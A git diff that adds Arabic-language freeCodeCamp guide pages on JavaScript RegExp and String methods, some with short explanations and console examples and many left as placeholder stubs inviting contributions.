+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-source/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-source/index.md
new file mode 100644
index 0000000000..58691abc8a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-source/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.source
+localeTitle: RegExp.prototype.source
+---
+## RegExp.prototype.source
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-source/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md
new file mode 100644
index 0000000000..1e025537c1
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.sticky
+localeTitle: RegExp.prototype.sticky
+---
+## RegExp.prototype.sticky
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-test/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-test/index.md
new file mode 100644
index 0000000000..f554d37ba9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-test/index.md
@@ -0,0 +1,35 @@
+---
+title: RegExp.prototype.test
+localeTitle: RegExp.prototype.test
+---
+## RegExp.prototype.test
+
+في `test()` بإرجاع أسلوب `true` إذا سلسلة مباريات التعبير العادي، و `false` إذا لم يحدث ذلك.
+
+## أمثلة
+
+ `let str = 'freeCodeCamp'; 
+ let regEx = /Code/; 
+ let result = regEx.test(str); 
+ 
+ console.log(result); // prints true 
+` 
+
+**ملاحظة:** التعبيرات العادية حساسة لحالة الأحرف. سيظهر المثال أعلاه `false` إذا كان `regEx` `/code/` بدلاً من `/Code/` . لجعل التعبير العادي غير حساس لحالة الأحرف ، يجب عليك إضافة علامة `i` إلى التعبير العادي.
+
+ `let str = 'freeCodeCamp'; 
+ let regEx = /code/; 
+ let result = regEx.test(str); 
+ 
+ console.log(result); // prints false 
+ 
+ // Include the 'i' flag. 
+ 
+ regEx = /code/i; 
+ result = regEx.test(str); 
+ console.log(result); // prints true 
+` 
+
+#### معلومات اكثر:
+
+راجع صفحة [MDN الرسمية `RegExp.prototype.test()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test) لمزيد من المعلومات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md
new file mode 100644
index 0000000000..0f77958826
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.toSource
+localeTitle: RegExp.prototype.toSource
+---
+## RegExp.prototype.toSource
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md
new file mode 100644
index 0000000000..381c7f659b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.toString
+localeTitle: RegExp.prototype.toString
+---
+## RegExp.prototype.toString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md
new file mode 100644
index 0000000000..8a359af4cd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.unicode
+localeTitle: RegExp.prototype.unicode
+---
+## RegExp.prototype.unicode
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/index.md b/client/src/guide/arabic/javascript/standard-objects/string/index.md
new file mode 100644
index 0000000000..86f7ce4b49
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/index.md
@@ -0,0 +1,13 @@
+---
+title: String
+localeTitle: خيط
+---
+## خيط
+
+في JavaScript ، يكون الكائن العام `String` هو مُنشئ للسلاسل ، والتي تخزن سلسلة من الأحرف. يمكن إنشاء سلاسل في شكل حرفي ، مثل `var greeting = "Hi, campers!";` أو باستخدام مُنشئ `String` : `var greeting = new String("Hi, campers!");` .
+
+وخلافا لبعض اللغات الأخرى، وجافا سكريبت لا يهمني إذا كنت تستخدم واحد `' '` أو مزدوجة `" "` نقلت عن السلاسل. يمكنك حتى استخدامها _داخل_ السلاسل ، يجب أن تكون مختلفة عن علامات الاقتباس التي تحتضن السلسلة `"Isn't that awesome?"` .
+
+#### معلومات اكثر:
+
+[MDN web docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String) [w3schools.com](https://www.w3schools.com/jsref/jsref_obj_string.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-fromcharcode/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-fromcharcode/index.md
new file mode 100644
index 0000000000..80f3536d8d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-fromcharcode/index.md
@@ -0,0 +1,34 @@
+---
+title: String fromCharCode
+localeTitle: سلسلة من CharCode
+---
+إرجاع الأسلوب `String.fromCharCode()` ثابت سلسلة تم إنشاؤها باستخدام التسلسل المحدد من قيم Unicode.
+
+## بناء الجملة
+
+ `String.fromCharCode(num1[, ...[, numN]]) 
+` 
+
+### المعلمات
+
+**num1، ...، numN**
+
+تسلسل من الأرقام التي تكون قيم Unicode.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/wb4w0k66%28v=vs.94%29.aspx)
+
+## وصف
+
+هذا الأسلوب بإرجاع سلسلة وليس كائن سلسلة.
+
+لأن `fromCharCode()` هو أسلوب ثابت من String ، فأنت تستخدمه دائمًا كـ `String.fromCharCode()` ، بدلاً من استخدامه كطريقة لعنصر String الذي قمت بإنشائه.
+
+## أمثلة
+
+ `String.fromCharCode(65, 66, 67);  // "ABC" 
+ 
+ var test = String.fromCharCode(112, 108, 97, 105, 110); 
+ document.write(test); 
+ 
+ // Output: plain 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-fromcodepoint/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-fromcodepoint/index.md
new file mode 100644
index 0000000000..03eabe69fe
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-fromcodepoint/index.md
@@ -0,0 +1,11 @@
+---
+title: String Fromcodepoint
+localeTitle: سلسلة Fromcodepoint
+---
+## سلسلة Fromcodepoint
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-fromcodepoint/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-length/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-length/index.md
new file mode 100644
index 0000000000..6dea13365a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-length/index.md
@@ -0,0 +1,48 @@
+---
+title: String Length
+localeTitle: طول سلسلة
+---
+على `length` تمثل الممتلكات طول السلسلة.
+
+## بناء الجملة
+
+ `str.length 
+` 
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/3d616214%28v=vs.94%29.aspx)
+
+## وصف
+
+هذه الخاصية بإرجاع عدد وحدات التعليمات البرمجية في السلسلة. يستخدم تنسيق UTF-16 ، وهو تنسيق السلسلة الذي تستخدمه جافا سكريبت ، وحدة رموز مفردة 16 بت لتمثيل أكثر الرموز شيوعًا ، ولكنه يحتاج إلى استخدام وحدتي تعليمات برمجية للأحرف الأقل استخدامًا ، لذلك من الممكن إرجاع القيمة حسب الطول إلى غير متطابق مع العدد الفعلي للأحرف في السلسلة.
+
+بالنسبة لسلسلة فارغة ، يكون الطول 0.
+
+الخاصية `String.length` ثابتة إرجاع القيمة 1.
+
+## أمثلة
+
+ `var x = 'Mozilla'; 
+ var empty = ''; 
+ 
+ console.log('Mozilla is ' + x.length + ' code units long'); 
+ /* "Mozilla is 7 code units long" */ 
+ 
+ console.log('The empty string has a length of ' + empty.length); 
+ /* "The empty string has a length of 0" */ 
+ 
+ var str = "every good boy does fine"; 
+        var start = 0; 
+        var end = str.length - 1; 
+        var tmp = ""; 
+        var arr = new Array(end); 
+ 
+        while (end >= 0) { 
+            arr[start++] = str.charAt(end--); 
+        } 
+ 
+ // Join the elements of the array with a 
+        var str2 = arr.join(''); 
+        document.write(str2); 
+ 
+ // Output: enif seod yob doog yreve 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-charat/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-charat/index.md
new file mode 100644
index 0000000000..feb111620f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-charat/index.md
@@ -0,0 +1,39 @@
+---
+title: String.prototype.charAt
+localeTitle: String.prototype.charAt
+---
+إرجاع الأسلوب `charAt()` الحرف المحدد من سلسلة.
+
+## بناء الجملة
+
+ `str.charAt(index) 
+` 
+
+## المعلمات
+
+**فهرس**
+
+عدد صحيح بين 0 و 1 - أقل من طول السلسلة.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charAt) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/65zt5h10%28v=vs.94%29.aspx)
+
+## وصف
+
+تتم فهرسة الأحرف في سلسلة من اليسار إلى اليمين. فهرس الحرف الأول هو 0 ، والفهرس للحرف الأخير في سلسلة تسمى `stringName` هو `stringName.length - 1` . إذا كان الفهرس الذي أدخلته خارج النطاق ، فسيقوم جافا سكريبت بإرجاع سلسلة فارغة.
+
+## أمثلة
+
+ `var anyString = 'Brave new world'; 
+ 
+ console.log("The character at index 0   is '" + anyString.charAt(0)   + "'"); // 'B' 
+ console.log("The character at index 1   is '" + anyString.charAt(1)   + "'"); // 'r' 
+ console.log("The character at index 2   is '" + anyString.charAt(2)   + "'"); // 'a' 
+ console.log("The character at index 3   is '" + anyString.charAt(3)   + "'"); // 'v' 
+ console.log("The character at index 4   is '" + anyString.charAt(4)   + "'"); // 'e' 
+ console.log("The character at index 999 is '" + anyString.charAt(999) + "'"); // '' 
+ 
+ var str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
+ document.write(str.charAt(str.length - 1)); 
+ 
+ // Output: Z 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-charcodeat/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-charcodeat/index.md
new file mode 100644
index 0000000000..46f83301ee
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-charcodeat/index.md
@@ -0,0 +1,34 @@
+---
+title: String.prototype.charCodeAt
+localeTitle: String.prototype.charCodeAt
+---
+إرجاع الأسلوب `charCodeAt()` قيمة Unicode الرقمية للحرف في الفهرس المحدد (باستثناء codepoints unicode> 0x10000).
+
+## بناء الجملة
+
+ `str.charCodeAt(index) 
+` 
+
+### المعلمات
+
+**فهرس**
+
+عدد صحيح أكبر من أو يساوي 0 وأقل من طول السلسلة ؛ إذا لم يكن رقمًا ، فسيكون الإعداد الافتراضي صفرًا.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/hza4d04f%28v=vs.94%29.aspx)
+
+## وصف
+
+لاحظ أن `charCodeAt()` ستقوم دائمًا بإرجاع قيمة أقل من 65536. وذلك لأن نقاط التعليمة البرمجية الأعلى يتم تمثيلها بواسطة زوج من الأحرف الزائفة (البديلة ذات القيمة المنخفضة) التي يتم استخدامها لتضمين الحرف الحقيقي. وبسبب هذا ، لفحص أو إعادة إنشاء الحرف الكامل للأحرف الفردية بقيمة 65536 وما فوق ، بالنسبة لمثل هذه الأحرف ، من الضروري استرداد `charCodeAt(i)` ، وكذلك `charCodeAt(i+1)` (كما لو كان فحص / إعادة إنتاج سلسلة بحرفين). انظر المثال 2 و 3 أدناه.
+
+إرجاع `charCodeAt()` `NaN` إذا كان `index` المعطى أقل من 0 أو يساوي أو أكبر من طول السلسلة.
+
+## أمثلة
+
+ `'ABC'.charCodeAt(0); // returns 65 
+ 
+ var str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
+ document.write(str.charCodeAt(str.length - 1)); 
+ 
+ // Output: 90 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-codepointat/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-codepointat/index.md
new file mode 100644
index 0000000000..b32b0beabf
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-codepointat/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.codePointAt
+localeTitle: String.prototype.codePointAt
+---
+## String.prototype.codePointAt
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-codepointat/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-concat/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-concat/index.md
new file mode 100644
index 0000000000..e85ad7f165
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-concat/index.md
@@ -0,0 +1,36 @@
+---
+title: String.prototype.concat
+localeTitle: String.prototype.concat
+---
+يجمع الأسلوب concat () بين نص سلسلتين أو أكثر ويعيد سلسلة جديدة.
+
+**بناء الجملة**
+
+ `str.concat(string2[,..., stringN]); 
+` 
+
+## المعلمات
+
+**string2… string _N_** السلاسل التي سيتم وصلها إلى هذه السلسلة.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat)
+
+## وصف
+
+يجمع الأسلوب concat () بين نص سلسلتين أو أكثر ويعيد السلسلة المتسلسلة. لا يقوم بتعديل السلاسل الأصلية.
+
+## أمثلة
+
+**سلاسل متسلسلة**
+
+ `    var str1 = "Hello"; 
+    var str2 = "World"; 
+    console.log(str1.concat(str2)); 
+    // Console will output: HelloWorld 
+ 
+    var str2 = "Hello, "; 
+    console.log(str2.concat(" Welcome ", "to FCC.")); 
+    // Console will output: Hello, Welcome to FCC. 
+` 
+
+المصدر \[MDN\]
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-endswith/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-endswith/index.md
new file mode 100644
index 0000000000..1bde3c582f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-endswith/index.md
@@ -0,0 +1,21 @@
+---
+title: String.prototype.endsWith
+localeTitle: String.prototype.endsWith
+---
+## String.prototype.endsWith
+
+`endsWith()` طريقة `endsWith()` ما إذا كانت السلسلة تنتهي بإدخال السلسلة وإرجاع قيمة منطقية.
+
+### فمثلا
+
+ `let str = "Hello world"; 
+ let bool = str.endsWith("ld") // true 
+ bool = str.endsWith("llo") // false 
+` 
+
+يمكن أن تقبل هذه الطريقة أيضًا معلمة أخرى ، وهي `length` الذي يحدد قبل أي حرف للبحث في السلسلة.
+
+ `let str = "Hello world"; 
+ let bool = str.endsWith("ld", 5) // false, it's the same as "Hello".endsWith("ld") 
+ bool = str.endsWith("llo", 5) // true, it's the same as "Hello".endsWith("llo") 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-includes/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-includes/index.md
new file mode 100644
index 0000000000..36eb6ad5ae
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-includes/index.md
@@ -0,0 +1,53 @@
+---
+title: String.prototype.includes
+localeTitle: String.prototype.includes
+---
+## String.prototype.includes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-includes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+يتم استخدام الأسلوب `includes()` لتحديد ما إذا كان يمكن العثور على سلسلة واحدة في سلسلة أخرى أم لا. تقوم هذه الطريقة بإرجاع قيمة منطقية (إما `true` أو `false` ).
+
+من المهم ملاحظة أن هذه الطريقة حساسة لحالة الأحرف.
+
+**بناء الجملة**
+
+ `string.includes(searchString[, position]) 
+` 
+
+**المعلمات**
+
+تتطلب هذه الطريقة معلمة واحدة فقط (searchString). ومع ذلك ، من خلال تضمين معلمة ثانية (الموضع) ، يمكنك بدء البحث عن سلسلة داخل سلسلة من موضع معين (أو فهرس) في searchString.
+
+**أمثلة**
+
+ `let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('red'); // returns true 
+` 
+
+ `let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('Red'); // returns false 
+` 
+
+ `let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('red',12); // returns false because 'red' starts at position 9, and our search begins at position 12. 
+` 
+
+ `let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('blue',12); // returns true because 'blue' starts after our search begins at position 12. 
+` 
+
+ `let string = "Roses are red, violets are blue."; 
+ 
+ string.includes('violets are blue'); // returns true 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-indexof/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-indexof/index.md
new file mode 100644
index 0000000000..c39f6ce73a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-indexof/index.md
@@ -0,0 +1,42 @@
+---
+title: String.prototype.indexOf
+localeTitle: String.prototype.indexOf
+---
+## String.prototype.indexOf
+
+إرجاع الأسلوب `indexOf()` الفهرس الأول الذي يمكن العثور على عنصر معين في الصفيف. إذا كان العنصر غير موجود ، فسوف يقوم بإرجاع -1.
+
+**بناء الجملة**
+
+ `str.indexOf(searchValue[, fromIndex]) 
+` 
+
+### المعلمات
+
+*   **searchValue** Substring التي تبحث عنها. إذا كان هذا فارغًا ( `''` ) ولا توجد معلمة `fromIndex` ، فسيؤدي ذلك إلى إرجاع 0.
+    
+*   **fromIndex** اختياري. الفهرس الذي تريد بدء البحث فيه. إذا كانت قيمة `fromIndex` أكبر من أو تساوي طول السلسلة ، فلن يتم البحث في السلسلة ويعيد الأسلوب -1. إذا كان `searchValue` عبارة عن سلسلة فارغة ( `''` ) وكان `fromIndex` أقل من طول السلسلة ، فسوف يقوم بإرجاع `fromIndex` ؛ خلاف ذلك ، فإنه سيعود طول السلسلة. (سيتم التعامل مع الرقم السالب كما لو لم تكن هناك وسيطة.)
+    
+
+### وصف
+
+يتحقق الأسلوب `indexOf()` السلسلة من اليسار إلى اليمين. مؤشر الحرف الأول هو 0؛ فهرس الحرف الأخير هو `string.length - 1` . تتحقق الطريقة من كل سلسلة فرعية مقابل `searchValue` باستخدام المساواة التامة ( `===` ) ، مما يعني أن هذه الطريقة حساسة لحالة الأحرف. بمجرد العثور على سلسلة فرعية ترجع `true` ، فإنها تُرجع الفهرس الخاص بحرفها الأول.
+
+### أمثلة
+
+ `'Blue Whale'.indexOf('Blue');     // returns  0 
+ 'Blue Whale'.indexOf('Blute');    // returns -1 
+ 'Blue Whale'.indexOf('Whale', 0); // returns  5 
+ 'Blue Whale'.indexOf('Whale', 5); // returns  5 
+ 'Blue Whale'.indexOf('Whale', 7); // returns -1 
+ 'Blue Whale'.indexOf('');         // returns  0 
+ 'Blue Whale'.indexOf('', 9);      // returns  9 
+ 'Blue Whale'.indexOf('', 10);     // returns 10 
+ 'Blue Whale'.indexOf('', 11);     // returns 10 
+ 'Blue Whale'.indexOf('blue');     // returns -1 
+` 
+
+### معلومات اكثر:
+
+*   وثائق [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf) : [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)
+*   وثائق [MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/indexof-method-string-javascript) : [MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/indexof-method-string-javascript)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-lastindexof/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-lastindexof/index.md
new file mode 100644
index 0000000000..3dcb11cfaf
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-lastindexof/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.lastIndexOf
+localeTitle: String.prototype.lastIndexOf
+---
+## String.prototype.lastIndexOf
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-lastindexof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-localecompare/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-localecompare/index.md
new file mode 100644
index 0000000000..87b92cb320
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-localecompare/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.localecompare
+localeTitle: String.prototype.localecompare
+---
+## String.prototype.localecompare
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-localecompare/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-match/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-match/index.md
new file mode 100644
index 0000000000..8af8ab7d3c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-match/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.match
+localeTitle: String.prototype.match
+---
+## String.prototype.match
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-match/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-normalize/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-normalize/index.md
new file mode 100644
index 0000000000..b29c4bdf8e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-normalize/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.normalize
+localeTitle: String.prototype.normalize
+---
+## String.prototype.normalize
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-normalize/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-padend/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-padend/index.md
new file mode 100644
index 0000000000..0a5e9467ff
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-padend/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.padEnd
+localeTitle: String.prototype.padEnd
+---
+## String.prototype.padEnd
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-padend/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-padstart/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-padstart/index.md
new file mode 100644
index 0000000000..8865d9b4a7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-padstart/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.padStart
+localeTitle: String.prototype.padStart
+---
+## String.prototype.padStart
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-padstart/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-repeat/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-repeat/index.md
new file mode 100644
index 0000000000..4b00da72a8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-repeat/index.md
@@ -0,0 +1,20 @@
+---
+title: String.prototype.repeat
+localeTitle: String.prototype.repeat
+---
+## String.prototype.repeat
+
+يحصل على طريقة `.repeat(n)` معلماً صحيحاً ويعيد السلسلة `n` المكررة.
+
+### فمثلا
+
+ `  let str = "test"; 
+  console.log(str.repeat(3)); // "testtesttest", test is repeated 3 times 
+ 
+  // NB 
+  console.log(str.repeat(2.5)); // "testtest", 2.5 is converted to an integer and test is repeated 2 times 
+` 
+
+#### معلومات اكثر
+
+[MDN - String.prototype.repeat ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-replace/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-replace/index.md
new file mode 100644
index 0000000000..55958ce6fa
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-replace/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.replace
+localeTitle: String.prototype.replace
+---
+## String.prototype.replace
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-replace/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
